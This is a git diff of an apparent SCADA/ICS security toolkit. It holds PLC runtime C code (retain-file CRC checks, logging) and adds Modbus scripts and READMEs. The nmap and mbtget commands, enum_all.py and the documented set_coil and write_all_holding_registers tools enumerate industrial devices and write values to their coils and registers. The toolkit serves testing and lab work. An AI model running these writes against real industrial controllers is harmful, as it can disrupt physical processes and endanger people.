0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 